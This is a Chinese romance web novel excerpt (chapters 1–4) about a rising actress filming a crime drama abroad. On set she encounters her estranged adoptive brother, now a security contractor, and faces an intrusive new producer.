《枕边教学》
1. 第 1 章
“俄罗斯轮盘赌,今天你俩只能活一个,谁先来开第一枪?”
劫匪残忍的笑声从头顶传来,黎宴置身郁热潮湿的东南亚竹屋,血汗浸透了她的连衣裙,黏腻地吸附着皮肤。
她和同伴被绑了,此刻看着桌上冰冷的左轮手枪,颅内神经高度紧绷,死亡阴影压顶而下。
见没人动,劫匪头目啧了一声,哐当一脚踩上桌子,靴底死死碾压着同伴的手。
“呃啊啊啊啊!!!”
——那可是首都医院最优秀的外科医生的手!
“蒋嵩!!”
黎宴霍然起身,情绪勃发,不等劫匪将她摁回去,只听远处传来一声——
“咔!”
竹屋外,遮阳棚下的导演从监视器后探出头,一把摘掉监听耳机。
“宴宴你这个愤怒的情绪对了,但恨的层次还差一点。”导演站起身,干脆直接上前讲戏。
“人在充满恨意的时候,一定是想着反击的。眼神要利,要毒!一定得带着股狠劲儿!明白了吧?”
说着,导演甚至亲自示范了几句台词和表演。黎宴在一旁微微偏头,很认真地听,脸上还残留着戏中的勒痕,几缕湿发黏在白皙的侧颈,狼狈破碎,美貌逼人。
孟甘国的盛夏酷热,空气黏稠且滚烫,片场像个巨大的蒸笼。助理赶紧跑来给黎宴递风扇,化妆师也快步上前,小心翼翼地为她擦汗补妆。
这部东南亚警匪戏的导演姓许,在业内风评不错,讲戏细致,也不怎么骂演员,最后还鼓励地拍了拍黎宴的肩。
“毕竟是第一部女一号,有点紧张很正常。表演有时候是需要借力的,你想想那些让你痛恨,或者感到极度不公的事情,把那个劲儿调出来试试看。”
听完导演指教,黎宴点头感谢,语气谦逊:“谢谢许导,我会再揣摩一下的。”
“好,那就休息十分钟,我们再来一条。”
许导话音落下,片场内的工作人员各自动了起来,黎宴也和助理打同一把伞朝竹屋外走。大坝里停着几辆房车,都是其他几位大主演的,黎宴那辆没法和他们比,出道才四年的她能有就不错了。
刚一回到车上,助理方宁麻利地关门,给她递来一杯插好吸管的冰美式。黎宴道了声谢,拿起小风扇对着锁骨吹,这才驱散了些许燥热。
她在脑海中复盘许导刚才的话,自己在镜头面前对某些情绪的把控的确欠了火候。她不是科班出身的演员,能吃这碗饭也是占了脸的便宜,运气也是一部分。在公司安排的忙碌行程下,即便她投入不少时间去上表演课,有些经验仍需要她用时间和悟性去沉淀。
“对了,方方。”黎宴轻声叫住方宁。
“我订的冷饮到了,辛苦你带人帮忙搬到冰柜那边,就说大家辛苦了,我请大家喝水。没空来拿的,你去分发一下,辛苦费转你了。”
黎宴朝方宁眨了眨眼,一听又有辛苦费拿,被上一任老板狠狠磋磨过的方宁立刻欢呼:“宴姐,你人真是太好了!”
方宁以前做的是剧组助理的工作,跟过不少艺人,到黎宴这才稳定下来。在她眼里,黎宴这位新晋小花不仅没架子,性格也好,做事又有分寸。这份体贴在娱乐圈有却不多,让她碰上简直太幸福了。
“宴姐不红,天理难容啊!”
黎宴被她逗笑了,轻轻摆手示意她快去。方宁做事利落,边应便推开车门,一头扎进片场。
车内安静下来,空调低声运行着。黎宴没休息,对着化妆镜举起手机,又录制了几段不同情绪层次的眼神和表情。
随后,她挨个翻看这些视频,仔细对比琢磨,总觉得差点意思,又复盘起许导说过的恨字。
“嗡——轰——!”
这时,嘈杂的片场忽然骚动了几分,一阵汽车引擎的轰鸣声由远而近,打破了短暂的休憩时光。
窗帘没关,黎宴侧目望去,不远处的许导抓起遮阳帽戴上,大步流星地从棚里走了出来。制片主任和几位统筹见状,也放下手里的事跟了过去。
不少工作人员好奇地看向那边,黎宴也不例外。
只见几辆硬派越野车驶入大坝,车停稳后,十来个人利落地从车上跃下,衣着风格偏本地化,却能一眼看出训练有素。
许导几人走至车前,为首那辆车的主驾驶门推开,走下来个劲腰长腿的身影。
那人穿着一件再简单不过的黑色工字背心,紧裹着精悍的上半身,工装裤收束进高帮靴里。他在人群中高出大半头,往那一站就像一柄充满压迫感的尖刀,锋利又惹眼。
没有任何预兆。
黎宴脑中嗡的一声,整个世界骤然失焦。
她的呼吸都窒住了,不自禁攥紧了手里的剧本,漂亮的眼睛死死盯着车窗外和许导交谈的男人,胸口痛得像是被人用力砸了一拳。
直到场务拿着喇叭开始清场,黎宴猝然醒神,休息时间结束了。
这群人的出现并没有影响剧组的拍摄进度,拍外景时抢光比什么都重要。黎宴从房车回到置景内,许导朝她比了个加油的手势,随即目光落回监视器上。
“各就各位——”
黎宴迅速进入状态。
“《风暴眼》第37场第5次——”
“Action!”
竹屋内,闷热的空气再次包裹住每一个人。狞笑的绑匪,满脸是血的同事,摆在桌上的冰冷枪械......一切重新来过。
然而这次,黎宴脑子里挥之不去的,是越野车边那道悍利挺拔的身影。随之而来的,还有每次心跳都蛮横撞击着肋骨的钝痛。
许导的话再次回响在她耳边。
——“表演有时候是需要借力的,你想想那些让你痛恨,或者感到极度不公的事情,把那个劲儿调出来试试看。”
“呃啊啊啊啊!!”
蒋嵩的手被碾压,黎宴猛然挣起,台词铿锵。那双红透的眼迸发出的目光,刀子般绞在绑匪身上,恨不得当场将他剜出几个洞来。
“咔——!”
“这条过了!”
许导超乎意料地摘下耳机,看着工作人员上前为黎宴松绑,不吝称赞:“就是这个劲儿!宴宴你悟性不错,一点就通。”
“谢谢许导。”黎宴大方微笑,接过方宁递来的纸巾擦汗。
她缓了缓呼吸,状似随意地开口:“许导,刚才来的那些人是做什么的?”
“你说他们啊?”许导也热,边喝水边解释。
“那是资方联系的本地安保公司,最近这边治安不太好,资方也是图个拍摄平安,剧组回国前他们会跟组驻扎在片场周围。放心,不会干扰正常拍摄。”
“这样啊。”黎宴得到了答案,没再多问。
回房车的路上,黎宴走在方宁身侧,借着她的掩护,目光不着痕迹地扫过远处遮阳棚。
人影绰绰,没有她想找的那一个。
直到上车后关门,一切嘈杂被隔绝在外。方宁察觉到黎宴脸色不好,刚想问她要不要紧,却
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被轻声屏退。
“我想自己待会儿。”
方宁有些担心,毕竟黎宴很少露出这种疲态。但她都发话了,自己也不好多问,只能默默下车。
车内再次只剩黎宴一人。
空调的冷气直往骨头缝里钻,她忽然累得脱力,先前在镜头里表现出的强势消弭殆尽。她控制不住身体的颤抖,只能死死捏紧自己的手,指甲深深嵌入掌心......
“你妈不要你了。”
从小到大,每当有小孩和黎宴吵架,总是拿这句话骂她。
但黎宴从来都仰着脸,一副神气的样子。仿佛这句话不是尖刺,而是一把递到她手里,能打开她满腹炫耀的钥匙。
“我妈不要我,可我爷爷奶奶要,我哥哥更要!”
黎宴反击时习惯往前一步,叉着腰看上去更有气势。
“你有哥哥吗?你的哥哥也像我哥哥一样吗?我哥哥会解超级难的奥数题,还会给我买冰淇淋和洋娃娃。我哭的时候,我哥哥会抱着我,一直一直哄着我。而且我哥哥力气很大,你再说我半句,我回家让我哥打你!我哥哥最听我的话了。”
这种时候,那些孩子往往接不上话。毕竟,谁能拥有那样一个哥哥呢?
然而,黎宴并不是一直都这么开朗。
在她年纪更小的时候,也会因为这种刺耳的话伤心。她会羞愤地从孩子堆里跑走,躲进老巷子的拐角,一边蹲在地上用树枝胡乱地划,一边用袖子擦她那流不完的眼泪。
哥哥总能找到她。
在她被哥哥背着回家后,哥哥会仔细地替她洗脸,然后在客厅的沙发上坐下,把她也抱到腿上。
“宴宴,你会觉得缺爱吗?”
哥哥会担心地询问她的真实想法,黎宴则不停抽噎着,把脸埋在他肩头。
哥哥的声音温柔而笃定。
“爷爷爱你,奶奶爱你,哥哥也爱你。还有,你也很爱自己,对不对?”
黎宴抽抽搭搭不说话,哥哥也不急,只是用额头轻轻碰了碰她的发顶,耐心地和她讲。
“在这个世界上,有些人看起来好像被很多人围着,爱着,但其实每个人分给他的那份爱都很浅,很薄。这些人拥有的只是一大把零碎的喜欢,不是爱。”
黎宴早熟,却也只听懂一半,但抓住那个少字,抬起湿漉漉的眼睛问:“那哥哥呢?哥哥会给我多少爱?”
“全部呀。”哥哥笑出了声,揉了揉她的头发,语气理所当然地像在说天空是蓝的。
“哥哥的全部都是妹妹的。”
这个答案立刻让黎宴开心起来,脸上还挂着泪,嘴角已经翘得老高。
“那我不缺爱!”
她又恢复了那种神气的小调子。
“我也要很爱很爱自己,这样加上爷爷奶奶的爱,再加上哥哥的全部,我就......我就满啦!”
“聪明!”
哥哥笑着刮了刮她的鼻尖,忽然变魔术似的眨眨眼,“想不想吃冰淇淋?柠檬香草口味的。”
“要!”
黎宴对吃这方面很热衷,三言两语就被哥哥哄得高高兴兴。那些幼年时期酸涩的伤口,被哥哥许诺的一句全部化作力量,藏进甜甜的冰淇淋里,一口一口吃进肚子里吸收,成为根植在她骨子里的底气。
后来,当她再面对那些充满恶意的“你妈不要你了”时,她习惯性张嘴,可那句滚瓜烂熟的话却卡在喉咙里,再也说不出口。
因为她哥不要她了。
2. 第 2 章
冷饮在片场很受欢迎。
方宁嘴甜,办事又周到。黎宴重回片场时,大家一口一个“谢谢宴姐”,还有人对她喊“新戏一定大爆”,欢乐的气氛多少感染了她。
但她的指尖仍是凉的。
好在接下来的戏份,黎宴的状态出奇地稳定。连许导都有些意外,私下和副导嘀咕:“这是开窍了?刚才那几条的情绪层次明显丰富多了。”
副导正翻着日程本,头也没抬就附和:“是难得,一点就通。关键是脸扛镜头,指不定哪部戏后真能蹿起来。”
这些话被路过的方宁听见几句,她兴冲冲地小跑到黎宴身边,小声复述了一遍。黎宴听完一笑置之,没说什么。
其实是她心里清楚,所谓的开窍,不过是因为她的注意力失控了。
每当镜头移开,她的余光就像被一股无形的力量牵引,一次次飘向片场周围的安保。
他们很安静,像钉子一样扎在各个不起眼的角落,大多只在外围走动,很少进内场。偶尔会有人在遮阳棚下低声交谈,但更多时候,他们的目光都像鹰一样,巡视着片场与外界交汇的地带。
而柏闻,是其中最沉默,也最无法忽视的一个。
他站得离人群最远,几乎贴着片场边缘那排茂密的热带灌木,身影半掩在随风晃动的叶影里。可即便如此,黎宴还是一眼就将他从所有人中剥离出来。
小时候,从那些羡慕嫉妒恨的玩伴口中,黎宴无数次听过“你哥哥长得真好看”这类话。
他比她大三岁,今年不过二十六,却已经和她记忆中那个意气飞扬的少年轮廓,产生了质变的偏移。
四年时光将他凿刻成陌生人,如今他的模样有着一种近乎侵略性的英俊,眉骨深邃且鼻梁挺直,整张脸的线条没有一丝冗余,骨相十分凌厉。
这种长相会带给人一定的压迫感,尤其是他不笑的时候。
在黎宴的视线里,柏闻不常走动,多数时候都靠在那辆越野车的门边。片场的武术指导偶尔会去找他搭话,给他点烟递火,两个人聊上几句。有时不知道武指老师说了什么,他会很淡地牵一下嘴角,那点短暂的笑意很快湮灭在随后吐出的薄雾里。
“宴姐?”
方宁小声提醒她,递来冰饮,“该补妆了,下一场是你和王老师在刑房的对峙。”
黎宴回神,接过饮料抿了一口:“知道了。”
刑房这场戏份很重,需要大量的内心情绪支撑,许导要求一镜到底,对她的台词和表演的功底极具考验。
黎宴补完妆后走入置景。
“《风暴眼》第47场第1次——”
“Action!”
刑房内,刺眼的大灯炙烤着黎宴,她背靠着粗糙潮湿的竹墙,满脸伤口与血污。对手演员对她威逼利诱,血淋淋的刀子横在眼前。而她反击的台词很长,情绪需要层层递进。
“我不怕死,我在地狱里等你——”
——砰!!!
一声突兀的巨响从刑房外传来,像是什么重物狠狠砸在地上,紧接着响起几声急促的呼喝,不是剧本里设计的内容。
拍摄被打断,许导也吓了一跳,从监视器后抬头,皱眉喊咔,抓起对讲机往外走。
黎宴平复了下呼吸节奏,几个演员疑惑地交换眼神,也跟着一起走向门口看情况。
人群围了个圈,几名安保队员快速切入事发中心。许导的对讲机里传来汇报,原来是几个当地雇来的搬运工因口角动了手,推搡打斗间撞翻了堆叠的道具箱,后面摆放的一排灯架也因此遭殃。
天气炎热,人也容易上火,许导骂了一句。出国拍摄耗费人力物力财力,剧组从当地请帮工是常事,但麻烦也在于此。孟甘这边,有些村落民风彪悍,个人的小事极其容易演变成带村民一起闹事的群体冲突,闹大的话,耽误拍摄进度都是轻的。
黎宴下意识望向车边,空的。
她眉心微蹙,目光匆匆扫过整片外围,直到听见动静,才在骚乱中心锁定了他。
冲突暂歇,被撞倒的工人还躺在地上呻吟,几个闹事的被安保队员反扣着手臂制住。唯独一个满脸通红,脖子青筋暴起的壮汉仍在死命挣扎,嘴里不断喷出一连串激烈但无人能懂的孟甘话。
柏闻没理会那人,径直走到伤者身边,双手扣住压在对方腿上的沉重道具箱边缘,发力的瞬间,手臂肌肉绷出矫健的轮廓,将那箱子稳稳抬了起来。
他俯身将伤者扶上肩,那闹事的壮汉竟硬生生撞开两个拦他的安保队员,像头发狂的公牛般,叫骂着朝他直冲过来——
柏闻甚至没完全直起身,只将伤者往身后一带,抬腿一记利落的侧踹,靴底重重蹬在壮汉当胸!
砰!
一脚闷响后,那壮汉像沙袋般被踹飞出去,重重摔在地上滚了半圈,捂着胸口连连咳呛,再也骂不出半个字。
“????????????”
柏闻抛给同事一句当地话,伤者也移交给对方。其他安保立刻上前,将那几个惹事的反扣着带走,剩下剧组的工作人员清理着满地狼藉。
从骚乱开始到结束,前后不超过三分钟,快得让许多后来围观的工作人员都没搞清楚发生了什么。
见事情解决,许导松了口气,朝对讲机喊:“都别看了,各部门准备,两分钟后重拍!”
人群逐渐散开,黎宴最后望了一眼那个方向。
柏闻靠在车边,拍了拍手上的灰,点烟的间隙转过头,视线平淡地扫过整个片场。
某一瞬间,黎宴觉得他的目光好像掠过了自己所在的方向。
太快了,没有任何多余的停留,仿佛他只是例行公事,然后就转回去了。
黎宴不一样,那一眼投过来时,她整个人都僵了一下,心却跳得很急。她不确定他有没有看见自己,或许只是他的视线恰巧路过。可那短暂到几乎不存在的交错,如果他真的看见了......
“宴宴?”许导的声音从监视器后传来。
黎宴猛地回神,将注意力拉回现场:“可以,我准备好了。”
重新回到刺眼的灯光下,黎宴上一场酝酿的情绪虽然被打断了,但某种压抑在内心深处,更混乱,更汹涌的情感翻腾上来。复杂无比,却意外地贴合戏中角色此刻在绝境中的状态。
这一条,她演得比之前任何一次都要累,也更情感充沛。
“咔!过了!这条特别到位!”
许导这次是真满意了:“就是这种濒临极限还死撑着一口气的感觉!演得不错啊。”
黎宴又以谦和的公式化笑容回应。
接下来的拍摄总体顺利,黎宴全心投入,柏闻和他的团队一点动静都没有。她与他各安其职,互不相干。
直到收工。
黎宴结束了今天的重头戏拍摄,回房车里卸妆。方宁还在片场收拾东西,已经联系了保姆车过来,送她回酒店休息。
黎宴要换便服,翻找着行李箱,选了条牛仔短裤,在舒适的棉质白T和纯欲辣妹吊带之间犹豫了几秒,选了后者。
她给自己喷完驱蚊水,搬了个折叠凳下车,坐在她常待的角落。
夕阳西下,孟甘国的
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天空烧起一片绚烂的橘红。路边不知名的野花盛开在黎宴身侧,忙乱的片场逐渐沉寂。
她拿出耳机,刚戴上还没播放音乐,耳朵里飘来许导的声音。
“后来没什么事吧?”
黎宴起身,打算出去打个招呼。
“伤者送医了,参与斗殴的那几个,本地警方会处理。”
柏闻也在。
黎宴忽地停步,站在堆叠的道具箱后,从缝隙中露出一双眼睛,没出去。
许导在聊白天的事故,言谈中不发对柏闻及时处理的感谢。柏闻只是微微颔首,而后转身朝同事们打了个手势,十几人迅速而有序地分散开,各自登上越野车。
他要走了。
黎宴敏锐的神经像是被针扎了一下,她悄悄竖起耳朵,过了好一会儿后,脚步声靠近,还有许导几人的谈笑。
柏闻的越野车就停在前方不到五米的地方,她的心越跳越响,她知道自己应该离开,但脚就像生了根,身体背叛了意志。
脚步声经过面前,黎宴没敢探出头看,以为一切就这样悄无声息地结束。
“往后站。”
一道低冷的声音在她身后响起。
黎宴浑身一颤,倏然回头。
柏闻不知何时站在了她身后,双手插在口袋里,平静的目光从那件与满是蚊子的夏夜格格不入的吊带上,掠过她紧绷的肩线,最终停在她来不及表情管理的脸上。
黎宴不自觉空咽了一下,记忆里某种熟悉的约束力差点破土而出。而她第一反应是挺直了腰,高傲地抬起下巴,站姿相当倔强。
柏闻的唇角似乎动了一下。
往后站?
黎宴耳边嗡嗡的,这三个字在脑子里横冲直撞。
为什么要往后站?
这算哪门子的开场白?
通常这种时候,不是应该说好久不见,或者哪怕只是点个头吗?
黎宴心乱如麻,喉咙里一个字也挤不出来。距离两人的上一次见面,中间横亘着整整四年。当时的分开并不体面,如今仓促一见,连对视也显得难堪。
空气仿佛被全部抽走了。
就在她快被这沉默压得窒息时,柏闻忽然抬脚上前,反倒令她下意识退开,直至后背抵上冰冷的道具箱。
柏闻只是经过了她。
“下次别站这里,这是倒车盲区。”
他脚步未停,没有回头,径直走向等待的越野车。留守片场的工作人员恰在此时熄灭了最后一盏大灯,柏闻的身影瞬间被浓稠的夏夜吞没大半,只剩一个高大的剪影拉开车门,低头躬身进入驾驶座。
砰。
车门关上,发出一声沉闷的轻响,隔绝了内外两个世界。
黎宴僵在原地,像个被遗弃在舞台上的漂亮人偶。
她身后,引擎轰鸣,车灯骤然大亮,飞舞的尘埃瞬间在光柱里无所遁形。
柏闻倒车,转向,没有丝毫犹豫。车尾灯在蜿蜒的土路上拖出两道残影,最终彻底消失在黑暗里。
黎宴仿佛被抽走了全身的力气,指尖微微发麻。
耳边是夏夜不知疲倦的虫鸣,晚风撩动她颈后散落的长发,也拂起地上几片凋零的花瓣,无力地向前翻滚了几圈,旋即跌回尘土。
她的视线缓缓落下去,那是柏闻刚才在她身后站立的地方。
粗糙的沙土地面上,似乎留下了一点不一样的痕迹。
黎宴上前两步,慢慢蹲下身。
借着手机屏幕的微光,她看见两个相同的脚印重叠,一截抽完的烟蒂几乎被碾入尘土。
3. 第 3 章
黎宴和柏闻是兄妹,但不是亲的。
黎宴打从娘胎里就没见过亲爹,四岁那年,亲妈也跑了。
那女人挺有心眼,临走前把黎宴托付给邻家的老两口,声称有点事,半个月后就回来接孩子,还留下一笔钱。
在她走的头一周里,每天还有电话回来,哄着黎宴乖乖等妈妈。后来直接停机,留下的联系地址也是假的,根本找不到人。
邻家老两口立刻报了警,警方调查后,认定这是成年人主动失联,没法立案只能做登记处理。黎宴成了法律上的事实无人抚养儿童,按政策,民政部门需要优先为她寻找抚养家庭,最后才是福利院那一步。
那段时间,成了黎宴记忆里一段模糊的潮湿地带。小小年纪的她无法理解抛弃的含义,只知道那个说会回来的人,再也没有出现。
合适的抚养家庭不好找,被抛弃的小黎宴天天在眼前哭,王奶奶心软却也为难。毕竟收养一个孩子是大事,可不是添双筷子那么简单。
黎宴对太小的时候没多少记忆,但她还记得那天。
王奶奶信佛,那段时间心里乱,常去附近的庙里,想从香火里问个明白。那天午后,她正打算再去拜拜,七岁的柏闻却牵着眼眶红红的小黎宴,堵在了门口。
奶奶摸了摸他的头。
“小闻,奶奶要去庙里问问菩萨,关于妹妹......”
“不用问菩萨。”柏闻打断她,声音清脆。
两个大人都愣住了。
小小年纪的柏闻,握紧手里那只更小的手。
“菩萨太忙了,我要她就行。”
那一刻,屋里静悄悄的。总爱指点家里大小事的爷爷静默了,奶奶看着孙子脸上那股孩子气的笃定,又看向半躲在他身后,懵懂依赖的黎宴。
王奶奶忽然觉得,答案或许早就有了。
一夜旧梦,黎宴起了个大早。
剧组在酒店包了几个房间,用以给艺人做妆发。黎宴坐在明亮的化妆镜前,刚放下剧本,方宁就告诉了她一个坏消息。
——资方那边新派了个制片人过来,今天就到组。听说叫程谦,是资方老板的亲外甥,国外学电影回来的,对创作细节很干预。
方宁说,许导已经和这位小程总通过电话,对方看了剧本和前几天的粗剪素材,对几场戏有不同意见。其中就包括黎宴今天要拍摄的重头戏,雨林对峙。
黎宴皱眉,对剧组和演员来说,最麻烦的情况之一就是拍摄中途资方干预创作,尤其是这种空降的年轻制片人,往往急于证明自己,意见多还难沟通。
随后,黎宴给许导打了个电话,想问问这位小程总对自己的戏份具体有哪方面的意见。许导正烦这位空降少爷,给黎宴提了个醒,表示对方觉得她在雨林里的这场戏,形象太硬了,缺乏女性的脆弱感。
直接给黎宴听沉默了。
她入行四年,接过一些本子。像她这样有流量但根基尚浅的小花,拿到的大多是工具人女配。不止一次在片场听见导演或编剧强调,女性角色必须展现脆弱才更真实。但她这次饰演的是一名在生死边缘徘徊的女警,在这种情境下,脆弱就等于死亡。
许导在电话那头继续,声音有些疲惫:“我跟他说了,这个角色的人设就是坚韧型,但他坚持要看到更复杂的层次。我和他电话里说不清楚,一天天的净是事儿。”
“那今天的戏......”黎宴试探。
“先按原计划拍。”许导叹了口气,“你该怎么演就怎么演,等人到了现场,看他具体怎么说。”
“好。”
黎宴没再多问,挂了电话,她的目光落回一旁刚放下的剧本上,无奈又拿起来仔细研究。
上午九点,程谦到了。
他比黎宴想象中年轻,看上去不到三十岁,穿着剪裁合体的浅亚麻色衬衫,戴着眼镜看上去很斯文,眼神里却透着一股审视的锐利。
他身后跟着两个助理,许导笑容满面地带着主创上前迎接。程谦握手时笑得很客气,与主创一一打过照面后,目光在黎宴身上多停留了两秒。
“黎宴老师?”
程谦微笑,语气听不出深浅:“我看过你前几天的拍摄素材,可不像非科班出身。”
“程总过奖了,许导每场戏都力求完美,我哪敢不努力?”
黎宴长得漂亮,笑起来更添几分明艳。程谦点了点头,随即转向许导,开门见山。
“许导,我们抓紧时间?我想先看看今天的拍摄计划。”
“当然。”
一行人走进休息棚,程谦先一步入座,助理上前打开笔记本电脑,调出雨林对峙戏的分镜稿,他用电子笔在屏幕上画圈。
“这场戏,我觉得情绪转折可以更细腻一些。女警发现线人背叛,第一反应不该是愤怒,而是被信任的人背叛的受伤感,愤怒是第二层情绪。”
程谦一开口就带了点决断的味道,黎宴作为主演在一旁安静地听,没插话。等程谦说完,许导才接道:“程总,这个我们前期讨论过,角色当时的处境很危险,她必须快速压制个人情绪,保持高度警惕。”
“但观众需要共情点。”程谦打断。
“如果角色太过硬派完美,观众会觉得有距离感。”
两人在创作理解上僵持不下,棚里的空气都悄然变得紧绷。许导脸上仍挂着笑,眼底却压抑着几丝不悦。棚里没人敢来插这个话,就连在座那几位老戏骨,也都不约而同保持了沉默。
这时,程谦忽然转向黎宴,镜片后的目光带着探究的兴味。
“黎老师觉得呢?作为饰演者,你打算怎么处理这段情绪?”
问题抛了过来,黎宴身上多了几道齐刷刷的目光。
黎宴在心里翻了个白眼,脸上却绽开微笑。
“程总提出的受伤感很精准,也是我在揣摩角色时,反复钻研的点。”
黎宴语速适中,每个字都轻而清晰。
“我个人的理解是,在这个危机四伏的情境下,女警的心理受伤不会外露,这个举动相当于暴露软肋。她的受伤会因为职业素养而转化成更冷硬的东西,除了愤怒,决绝也很重要。”
程谦的面色不辨情绪,一副你接着说的样子,黎宴扫了眼许导的脸色,补充道。
“角
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色的情绪需要出口,所以后续会有一场戏,是她独自在安全地带里回忆这段经历,那时再流露出受伤的一面会更好。这样既能保证角色的职业素养,又能有复杂的情绪递进。”
说完,黎宴状似懊恼地一笑,语气诚恳。
“您也知道我不是科班演员,在专业上我比不上您和许导,这只是我个人的一些拙见。剧情最终如何呈现,还得听您和许导定夺。”
黎宴的一番话滴水不漏,程谦看着她,镜片后的眼睛眯了眯,然后笑了。
“思路不错,那就先按你们的原计划拍一条,看看效果。”
话音落下,程谦起身往外走,休息棚里凝滞的空气终于流动起来。众人相继跟上,棚外炽烈的阳光迎面泼来,黎宴被刺得眯了下眼睛。
她的目光无意掠过片场边缘,一道熟悉的身影猝不及防撞入眼帘。
柏闻依旧靠在车边,站姿闲适随意。昨天被他一脚踹翻的壮汉,此刻正站在他面前,脸上早没了凶狠,反倒搓着手,一副既局促又感激的样子。
柏闻听他说话,脸上没什么表情,只是偶尔点一下头。末了,他探进驾驶室,拿出一瓶还没开封的矿泉水,递了过去。
那壮汉双手接过,擦了把额头上的汗,又说了句什么,柏闻居然笑了起来。
他甚至抬起手,很随意地在那壮汉的肩膀上拍了一下,力道不重,像男人之间常见的,这事儿翻篇了的意思。
阳光太盛,将这一幕照得清清楚楚,被黎宴尽收眼底。
昨夜的记忆历历在目,毫无预兆的,黎宴心里腾起一股直冲脑门的火。
凭什么?
凭什么他对一个昨天还在闹事,甚至需要他动手制服的陌生人,都能露出这种宽和的姿态和表情。而对她这个货真价实,朝夕相处了十五年的妹妹,避之不及,又冷又硬?
这算什么?人走茶凉,内外有别?
四年了,黎宴自以为早就修炼得心如止水。然而此刻,那些被她强压进骨子里的不甘,以及某种被轻慢的怒意,如同见了火星的枯草,轰然复燃。
她绷紧下颌,抬手叫来方宁。
“怎么了宴姐?”
方宁正抱着剧本和杂物,闻声小跑过来,脸上带着点懵。
黎宴优雅地从她怀里抽出剧本,扬起和善的笑容。
“昨天买的水还有剩吗?”
方宁点头如捣蒜:“有啊,还剩挺多呢,都在车那边。”
黎宴不语,只是拿出手机转钱给方宁,再抬头时,语气轻快。
“辛苦你再跑一趟,给大家分一分,解解暑,就说我请大家喝的。”
“好啊,宴姐你太贴心了!”方宁欢快地应下,拔腿就要行动,没想到黎宴再次叫住她。
“等等。”
方宁刹住脚步,疑惑回头。
黎宴依旧笑着,甚至比刚才还要明媚几分。她偏过头,目光似是不经意般,轻飘飘掠向远处越野车旁那个高大的身影,语气随意自然。
“哦,对了。”
她顿了顿,唇角弧度不变。
“那位柏队长,就不用发了。”
4. 第 4 章
上午九点四十分,雨林戏开拍。
拍摄的第一遍,黎宴就完全进入了状态。毕竟资方的人在监视器前盯着,且对方一看就是那种表面有商有量,实则发现一点瑕疵就会立刻介入,最后用播出数据施压的类型。
“咔!”
许导喊停,黎宴从他的脸色判断,自己的表现应该是不错的。程谦就坐在监视器旁边,没表态,只是让助理回放刚才的片段。
黎宴从置景里走出来,化妆师迅速上前补妆整理,方宁也递来水和风扇。黎宴抿了一口,场务小哥在她旁边小声说了一句。
“宴姐你演得真好,刚才我鸡皮疙瘩都起来了。”
黎宴笑了笑,扶着脖子活动了下,视线转向十几米外的小高地上。
柏闻站在那里,举着望远镜,不知道在观察什么地方,完全没注意这边的拍摄进程。
黎宴轻嗤一声,低头翻开了下一场的剧本。
“黎宴。”程谦的声音突然在身后响起。
黎宴转身,露出职业笑容:“程总。”
“刚才那条演得不错。”
程谦走近两步,一股刻意为之的平易近人气息扑面而来,他很美式地耸了下肩。
“不过我在想,如果在你发现真相的一瞬间,给眼睛补一个特写镜头,让观众看见那种一闪而过的痛,会不会更好?”
这种事你和导演谈比较恰当。
黎宴在心里想,面上却是欣然配合的模样:“好主意诶,我觉得可以试试看。”
程谦笑出老钱风范:“那待会儿我们补一条看看。”
他说完没走,反而又自然地将距离拉近了一些。黎宴维持着姿态,后背几不可察地稍稍挺直了些。
“对了,晚上我约了几个主创吃饭,讨论后续的拍摄方向。你是女一号,一定要来。”
不是邀请,而是通知。
黎宴不好推辞:“当然,几点?”
“八点半吧,地址我让助理对接。”程谦看了眼手机,“剧本方面有些调整,我会让助理一并发你,你先看看,晚上我们重点聊。”
公事都交代完毕,程谦转身离开,手似乎不经意地碰了下黎宴的手臂。
一掠而过,快到可以解释为意外。
直到程谦走远,黎宴终于能皱紧眉头,抬起手,用力而快速地在衣服上蹭了两下。
“宴姐......”方宁小心翼翼地凑了过来。
“你没事吧?”
黎宴摇头,语气依旧平静:“把晚上的时间空出来。”
“可是宴姐,你晚上不是约了表演老师打视频......”
“改天吧。”
黎宴无奈地挑眉,叹了口气:“资方的人不好推。”
“各部门注意,准备下一场——”
副导的喊声透过喇叭传来,黎宴拍了拍方宁的肩膀,重新回到了置景。
接下来的拍摄异常顺利,黎宴状态在线,一场需要徒手攀爬湿滑岩壁的戏,原本安排了替身,她也坚持自己上阵。在安全绳的保护下,她奋力往上爬,按剧情她需要摔下来三次,掌心和手腕都磨得血红。好在镜头里的呈现是出彩的,许导对她的表现也很满意。
终于等到收工,方宁正给黎宴涂碘伏,程谦又适时地出现了。
“今天辛苦了,攀岩那段戏很有冲击力。”
黎宴很客气:“谢谢程总。”
“晚上吃饭的事别忘。”程谦说着,从西装内袋取出一张名片。
“这是我的私人号码,以后有什么表演和剧情上的想法,随时找我聊。”
他递了过来,旁听许久的方宁立刻偷偷打量,心想这哪是名片,简直就是潜规则的邀请函啊!
然而黎宴接过来,笑容不变。
“程总费心了。”
回酒店的车上,黎宴靠在座椅上闭目养神,脑海里却在复盘今天的每一场戏,每个细节。
自从这部剧官宣以来,粉丝们一直在为她积极宣传,如今资方的人盯着,导演对她也有期许,全组都在看。
这是她的第一个女主角,她不能砸。
车途颠簸,黎宴太累了,竟然浅睡了一觉。抵达酒店时,天色已经有些暗了。
她刚下车,就看见酒店门口站着几个人,都是同组的年轻演员。为首的是男三号吴柯,前几天她还和他饰演的蒋嵩搭过戏。男一号陈烨非不在,他的咖位比他们都大,私下里不怎么能玩到一起。除了采访合体或其他宣发活动,基本只在剧组有交集。
吴柯和黎宴同年出生,靠选秀出道,这是他的第一部电视剧,在组里对谁都很热情。他看到黎宴,眼睛一亮地招手:“宴宴回来了,今天拍得怎么样?”
黎宴伸了个懒腰:“还行吧,没被导演骂就是胜利。你们这是?”
“我们打算去夜市逛逛,听说那里晚上有本地特色表演。”
吴柯兴致勃勃地邀请她一起:“去呗,晚上不是没戏拍了嘛。”
黎宴反问他:“你们晚上不去小程总的饭局吗?”
吴柯才想起这回事,摆了摆手:“没事,八点半才开始呢。还早,先出去玩呗!”
黎宴这几天泡在雨林里拍戏,的确感觉自己快要退化成原始人了,放松一下也挺好。
“行,我上去换件衣服。”
吴柯一口答应:“好啊!我们在大厅等你。”
黎宴转身上楼,回房间快速冲了个澡,换了件很有设计感的浅蓝色牛仔吊带,衬得她皮肤更白。最后考虑到夏夜蚊虫多,穿了条宽松长裤。
下楼后,几个年轻人瞎起哄喊“Beautiful”,黎宴大方接受了所有人的夸奖,像只漂亮的波斯猫般抬起下巴:“看归看,不签名啊。”
满堂笑声里,黎宴挽住另一个女演员周意的胳膊,一行人朝着离酒店不远的夜市步行而去。
